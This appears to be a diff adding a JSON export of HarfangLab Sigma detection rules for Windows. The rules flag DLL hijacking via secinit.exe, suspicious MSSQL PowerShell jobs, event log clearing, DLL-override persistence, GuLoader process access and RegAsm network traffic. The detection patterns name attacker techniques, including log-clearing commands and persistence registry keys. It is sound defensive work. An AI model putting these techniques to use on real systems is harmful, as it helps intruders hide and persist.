+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081792Z",
+  "creation_date": "2026-03-23T11:45:34.081794Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081798Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_secinit.yml",
+  "content": "title: DLL Hijacking via secinit.exe\nid: 5ccea6af-f31b-4f4c-8750-a0295d7ea415\ndescription: |\n    Detects potential Windows DLL Hijacking via secinit.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'secinit'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\wkscli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5ccea6af-f31b-4f4c-8750-a0295d7ea415",
+  "rule_name": "DLL Hijacking via secinit.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via secinit.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5ced6f26-1cff-41ca-aa7a-fcd4bfb178f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606772Z",
+  "creation_date": "2026-03-23T11:45:34.606775Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606783Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-powershell-script-job-step?view=sql-server-2016",
+    "https://book.shentoushi.top/Databases/Mssql.html",
+    "https://attack.mitre.org/techniques/T1190/",
+    "https://attack.mitre.org/techniques/T1059/003/",
+    "https://attack.mitre.org/techniques/T1505/001/"
+  ],
+  "name": "t1190_mssql_job_powershell.yml",
+  "content": "title: Execution of a Suspicious MSSQL PowerShell Job\nid: 5ced6f26-1cff-41ca-aa7a-fcd4bfb178f7\ndescription: |\n    Detects the execution of a MSSQL job using the PowerShell subsystem.\n    Attackers may execute a PowerShell job in order to gain code execution on a machine hosting a compromised database engine.\n    It is recommended to check if this behavior is expected and check for malicious activities stemming from the newly created process.\nreferences:\n    - https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-powershell-script-job-step?view=sql-server-2016\n    - https://book.shentoushi.top/Databases/Mssql.html\n    - https://attack.mitre.org/techniques/T1190/\n    - https://attack.mitre.org/techniques/T1059/003/\n    - https://attack.mitre.org/techniques/T1505/001/\ndate: 2024/07/23\nmodified: 2025/10/14\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - attack.execution\n    - attack.t1059.003\n    - attack.persistence\n    - attack.t1505.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage|endswith: '\\sqlps.exe'\n\n    filter_mssql:\n        Image|endswith:\n            - '\\Tools\\Binn\\sqlcmd.exe'\n            - '\\Tools\\Binn\\bcp.exe'\n            - '\\Tools\\Binn\\SQLPS.exe'\n        ProcessSignature : 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    filter_conhost:\n        Image:\n            - '?:\\WINDOWS\\system32\\conhost.exe'\n            - '?:\\WINDOWS\\syswow64\\conhost.exe'\n        CommandLine:\n            - '\\\\??\\\\?:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1'\n            - '\\\\??\\\\?:\\WINDOWS\\system32\\conhost.exe 0xffffffff'\n            - '\\\\??\\\\?:\\WINDOWS\\system32\\conhost.exe 0x4'\n\n    exclusion_werfault:\n        Image:\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\Syswow64\\WerFault.exe'\n\n    exclusion_divalto:  # ERP solution\n        - Image|endswith: '\\ERP-DIVALTO\\EchangeERP\\DivaComSiplace.exe'\n        - Image: '?:\\Windows\\System32\\WScript.exe'\n          CommandLine|contains: '\\ERP-DIVALTO\\EchangeERP\\'\n\n    exclusion_nsca:\n        CommandLine: '?:\\Windows\\system32\\cmd.exe /c *\\NSCA\\check_nsca.bat *;check_*'\n\n    exclusion_image:\n        Image:\n            - '?:\\Program Files\\\\*'\n            - '?:\\Program Files (x86)\\\\*'\n            - '?:\\Windows\\System32\\fondue.exe'\n            - '?:\\ProgramData\\anaconda3\\python.exe'\n            - '?:\\Windows\\System32\\pcaui.exe'\n            - '?:\\Windows\\Microsoft.NET\\Framework\\v*\\dw20.exe'\n            - '?:\\Windows\\Microsoft.NET\\Framework64\\v*\\dw20.exe'\n\n    exclusion_shimadzu:\n        CommandLine: '?:\\windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -command New-Item -ItemType Directory -Force -Path ??:\\Program Files\\Shimadzu Corporation\\MALDI Solutions\\Database\\\\\\\\Backups?'\n\n    exclusion_forfiles:\n        Image: '?:\\Windows\\System32\\forfiles.exe'\n        CommandLine|contains: '/C cmd /c del @file'\n\n    exclusion_cmd:\n        CommandLine|startswith:\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Program Files\\'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Program Files (x86)\\'\n\n    exclusion_generic_scripts_folder:\n        CommandLine|contains:\n            - 'powershell.exe D:*\\Scripts'\n            - 'pwsh.exe D:*\\Scripts'\n            - 'powershell.exe -file D:*\\Scripts'\n            - 'pwsh.exe -file D:*\\Scripts'\n\n    exclusion_vsjitdebugger:\n        CommandLine|startswith: '?:\\windows\\system32\\vsjitdebugger.exe PID '\n\n    exclusion_python:\n        CommandLine: '?:\\Tools\\python???\\python.exe ?:*.py'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5ced6f26-1cff-41ca-aa7a-fcd4bfb178f7",
+  "rule_name": "Execution of a Suspicious MSSQL PowerShell Job",
+  "rule_description": "Detects the execution of a MSSQL job using the PowerShell subsystem.\nAttackers may execute a PowerShell job in order to gain code execution on a machine hosting a compromised database engine.\nIt is recommended to check if this behavior is expected and check for malicious activities stemming from the newly created process.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-10-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1190",
+    "attack.t1505.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5cf9b4f6-6f3b-4d0b-a178-9570cce9693d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595518Z",
+  "creation_date": "2026-03-23T11:45:34.595521Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595529Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/04/29/from-icedid-to-dagon-locker-ransomware-in-29-days/",
+    "https://attack.mitre.org/techniques/T1070/001/"
+  ],
+  "name": "t1070_001_clear_windows_eventlog.yml",
+  "content": "title: Windows Event Logs Cleared\nid: 5cf9b4f6-6f3b-4d0b-a178-9570cce9693d\ndescription: |\n    Detects when one of the Windows event logs is cleared through wevutil or PowerShell.\n    Adversaries may clear Windows Event Logs to hide the activity of an intrusion.\n    Windows Event Logs are a record of a computer's alerts and notifications.\n    It is recommended to analyze the parent process to look for malicious content or actions.\nreferences:\n    - https://thedfirreport.com/2024/04/29/from-icedid-to-dagon-locker-ransomware-in-29-days/\n    - https://attack.mitre.org/techniques/T1070/001/\ndate: 2021/04/27\nmodified: 2025/10/21\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Deletion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_wevtutil_1:\n        - Image|endswith: '\\wevtutil.exe'\n        - OriginalFileName: 'wevtutil.exe'\n\n    selection_wevtutil_2:\n        - CommandLine|contains:\n            - ' clear-log '\n            - ' cl '\n\n    selection_ps_1:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_ps_2:\n        - CommandLine|contains:\n            - ' Clear-EventLog '\n            - ' Remove-EventLog '\n\n    selection_wmic_1:\n        - Image|endswith: '\\wmic.exe'\n        - OriginalFileName: 'wmic.exe'\n\n    selection_wmic_2:\n        - CommandLine|contains: ' ClearEventLog'\n\n    exclusion_citrix:\n        CommandLine|startswith: '?:\\Windows\\system32\\wevtutil.exe cl '\n        ParentCommandLine:\n            - '*\\CitrixOptimizerTool\\CitrixOptimizerTool.exe'\n            - '*\\CitrixOptimizerTool_*\\CitrixOptimizerTool.exe'\n            - '?:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe *CtxOptimizerEngine.ps1 -Source *Citrix_Windows_*.xml -Mode Execute*'\n            - '?:\\Program Files (x86)\\Citrix\\Workspace Environment Management Agent\\Citrix.Wem.Agent.Service.exe'\n            - '*\\citrixoptimizer\\citrixoptimizertool.exe'\n\n    exclusion_vda_cloning_orchestrator:\n        GrandparentCommandLine:  '?:\\Windows\\System32\\cscript.exe ?:\\VDA Cloning Orchestrator\\VDA Cloning Orchestrator.vbs'\n\n    exclusion_bisf:\n        GrandparentCommandLine:\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\Program Files\\Base Image Script Framework (BIS-F)\\PrepareBaseImage.cmd'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\Program Files (x86)\\Base Image Script Framework (BIS-F)\\PrepareBaseImage.cmd'\n            - 'Powershell.exe -WindowStyle Maximize -file ?:\\Program Files\\Base Image Script Framework (BIS-F)\\framework\\PrepBISF_Start.ps1'\n            - 'Powershell.exe -WindowStyle Maximize -file ?:\\Program Files (x86)\\Base Image Script Framework (BIS-F)\\framework\\PrepBISF_Start.ps1'\n\n    exclusion_cleanmgr:\n        GrandparentCommandLine|endswith:\n            - '\\CLEANMGR+\\Cleanmgr+.exe'\n            - '\\CLEANMGR+\\cleanmgrplus\\Cleanmgr+.exe'\n            - '\\Cleanmgr+ v*\\Cleanmgr+.exe'\n\n    exclusion_atera:\n        GrandparentImage: '?:\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageSystemTools\\AgentPackageSystemTools.exe'\n\n    exclusion_fsecure_uninstaller:\n        CommandLine: 'wevtutil cl FSecureUltralightSDK'\n        ParentImage: '?:\\Windows\\Temp\\FS_UL_?\\fs*.tmp\\uninstall.exe'\n\n    exclusion_privazer:\n        Ancestors|contains: '\\PrivaZer\\PrivaZer v*.exe|'\n\n    condition: ((all of selection_wevtutil_*) or (all of selection_ps_*) or (all of selection_wmic_*)) and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5cf9b4f6-6f3b-4d0b-a178-9570cce9693d",
+  "rule_name": "Windows Event Logs Cleared",
+  "rule_description": "Detects when one of the Windows event logs is cleared through wevutil or PowerShell.\nAdversaries may clear Windows Event Logs to hide the activity of an intrusion.\nWindows Event Logs are a record of a computer's alerts and notifications.\nIt is recommended to analyze the parent process to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-04-27",
+  "rule_modified_date": "2025-10-21",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5d54d0e8-81b2-43b4-bf1e-c57b6384b805",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078618Z",
+  "creation_date": "2026-03-23T11:45:34.078620Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078625Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://persistence-info.github.io/Data/naturallanguage6.html",
+    "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/",
+    "https://attack.mitre.org/techniques/T1546/"
+  ],
+  "name": "t1546_persistence_natural_language_dll_override.yml",
+  "content": "title: Possible Persistence Added via Natural Language 6 DLL Override\nid: 5d54d0e8-81b2-43b4-bf1e-c57b6384b805\ndescription: |\n    Detects a modification of the DLL override registry key regarding the natural language 6 configuration in the Windows registry.\n    This method is used as a mean to achieve persistence by setting the key to a malicious DLL, allowing execution through SearchIndexer.exe.\n    It is recommended to investigate the process that modified the registry and to analyze the DLL pointed to by the registry value to look for suspicious content.\nreferences:\n    - https://persistence-info.github.io/Data/naturallanguage6.html\n    - https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/\n    - https://attack.mitre.org/techniques/T1546/\ndate: 2022/07/20\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|startswith: 'HKLM\\System\\CurrentControlSet\\Control\\ContentIndex\\Language\\'\n        TargetObject|endswith:\n            - '\\StemmerDLLPathOverride'\n            - '\\WBDLLPathOverride'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5d54d0e8-81b2-43b4-bf1e-c57b6384b805",
+  "rule_name": "Possible Persistence Added via Natural Language 6 DLL Override",
+  "rule_description": "Detects a modification of the DLL override registry key regarding the natural language 6 configuration in the Windows registry.\nThis method is used as a mean to achieve persistence by setting the key to a malicious DLL, allowing execution through SearchIndexer.exe.\nIt is recommended to investigate the process that modified the registry and to analyze the DLL pointed to by the registry value to look for suspicious content.\n",
+  "rule_creation_date": "2022-07-20",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5d565065-8f0b-4339-9f87-c2c74b742414",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595468Z",
+  "creation_date": "2026-03-23T11:45:34.595472Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595479Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0561/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_guloader_process_access.yml",
+  "content": "title: Possible GuLoader Process Access\nid: 5d565065-8f0b-4339-9f87-c2c74b742414\ndescription: |\n    Detects suspicious process accesses associated with a GuLoader-specific, NSIS installer-related DLL.\n    GuLoader is a small NSIS installer downloader used to download RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive.\n    It is recommended to analyze the binary making the process access to look for malicious contents and determine its legitimacy.\nreferences:\n    - https://attack.mitre.org/software/S0561/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/04/18\nmodified: 2025/05/26\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1055\n    - attack.command_and_control\n    - attack.t1071.001\n    - attack.t1566.002\n    - attack.execution\n    - attack.t1106\n    - attack.t1204.001\n    - attack.t1204.002\n    - attack.s0561\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Malware.GuLoader\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        GrantedAccess: '0x1FFFFF'\n        CallTrace|contains: '|?:\\Users\\\\*\\AppData\\Local\\Temp\\ns?????.tmp\\System.dll+*'\n\n    exclusion_firefox:\n        TargetProcessImage|endswith: '\\firefox.exe'\n\n    exclusion_plex:\n        ProcessGrandparentImage: '?:\\Program Files\\Plex\\Plex\\Plex.exe'\n\n    exclusion_legitimate_signers:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'McAfee, LLC'\n            - 'Cyberlink Corp.'\n            - '3dhistech Kft.'\n            - 'Driver Support'\n            - 'Open Source Developer, Ryosuke Asano'\n            - 'PQ Labs Inc'\n            - 'Tim Kosse' # FileZilla\n            - 'Plex, Inc.'\n            - 'Mozilla Corporation'\n\n    exclusion_sogou:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\ns*.tmp\\setup_new.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Beijing Sogou Technology Development Co., Ltd.'\n\n    exclusion_zeninstaller:\n        - ProcessParentImage|endswith: '\\zen.installer.exe'\n          ProcessDescription:\n            - 'Zen Installer'\n            - 'Zen Browser Installer'\n          TargetProcessImage: '?:\\Program Files\\Zen Browser\\zen.exe'\n        - ProcessCommandLine: '.\\setup.exe'\n          ProcessParentImage|endswith: '\\zen.installer.exe'\n          TargetProcessImage|endswith: '\\zen.exe'\n\n    exclusion_commandline:\n        ProcessCommandLine|contains:\n            - '\\Au_.exe _?=?:\\Program Files\\'\n            - '\\Au_.exe _?=?:\\Program Files (x86)\\'\n            - '\\Un_A.exe _?=?:\\Program Files\\'\n            - '\\Un_A.exe _?=?:\\Program Files (x86)\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5d565065-8f0b-4339-9f87-c2c74b742414",
+  "rule_name": "Possible GuLoader Process Access",
+  "rule_description": "Detects suspicious process accesses associated with a GuLoader-specific, NSIS installer-related DLL.\nGuLoader is a small NSIS installer downloader used to download RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive.\nIt is recommended to analyze the binary making the process access to look for malicious contents and determine its legitimacy.\n",
+  "rule_creation_date": "2024-04-18",
+  "rule_modified_date": "2025-05-26",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055",
+    "attack.t1071.001",
+    "attack.t1106",
+    "attack.t1204.001",
+    "attack.t1204.002",
+    "attack.t1566.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5d9c9ce0-2415-4246-acc7-bcf7ab1e7f03",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085796Z",
+  "creation_date": "2026-03-23T11:45:34.085798Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085803Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
+    "https://attack.mitre.org/techniques/T1055/012/",
+    "https://attack.mitre.org/techniques/T1571/"
+  ],
+  "name": "t1055_012_regasm_suspicious_network_communication.yml",
+  "content": "title: Suspicious RegAsm.exe Network Communication\nid: 5d9c9ce0-2415-4246-acc7-bcf7ab1e7f03\ndescription: |\n    Detects network communications via a non standard port from RegAsm.exe.\n    Adversaries can use RegAsm.exe as a hollowed process and inject malicious code into it to evade process-based defenses.\n    It is recommended to investigate the parent process performing this action and the destination IP address to determine the legitimacy of this behavior.\nreferences:\n    - https://www.sentinelone.com/labs/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/\n    - https://attack.mitre.org/techniques/T1055/012/\n    - https://attack.mitre.org/techniques/T1571/\ndate: 2023/09/29\nmodified: 2025/05/26\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055.012\n    - attack.command_and_control\n    - attack.t1571\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: network_connection\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\RegAsm.exe'\n        - ProcessOriginalFileName: 'RegAsm.exe'\n\n    filter_http:\n        DestinationPort: '80'\n\n    exclusion_programfiles:\n        ProcessCommandLine|contains:\n            - '\\regasm.exe ?:\\Program Files\\'\n            - '\\regasm.exe ?:\\Program Files (x86)\\'\n\n    exclusion_schneider:\n        ProcessCommandLine|endswith:\n            - '\\RegAsm.exe /codebase ?:\\Program Files\\Common Files\\Schneider Electric Shared\\\\*\\\\*\\ZephyrDtm.Kernel.dll'\n            - '\\RegAsm.exe /codebase ?:\\Program Files (x86)\\Common Files\\Schneider Electric Shared\\\\*\\\\*\\ZephyrDtm.Kernel.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5d9c9ce0-2415-4246-acc7-bcf7ab1e7f03",
+  "rule_name": "Suspicious RegAsm.exe Network Communication",
+  "rule_description": "Detects network communications via a non standard port from RegAsm.exe.\nAdversaries can use RegAsm.exe as a hollowed process and inject malicious code into it to evade process-based defenses.\nIt is recommended to investigate the parent process performing this action and the destination IP address to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2023-09-29",
+  "rule_modified_date": "2025-05-26",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012",
+    "attack.t1571"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5db05080-c59d-44b1-8530-0b311ce322d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
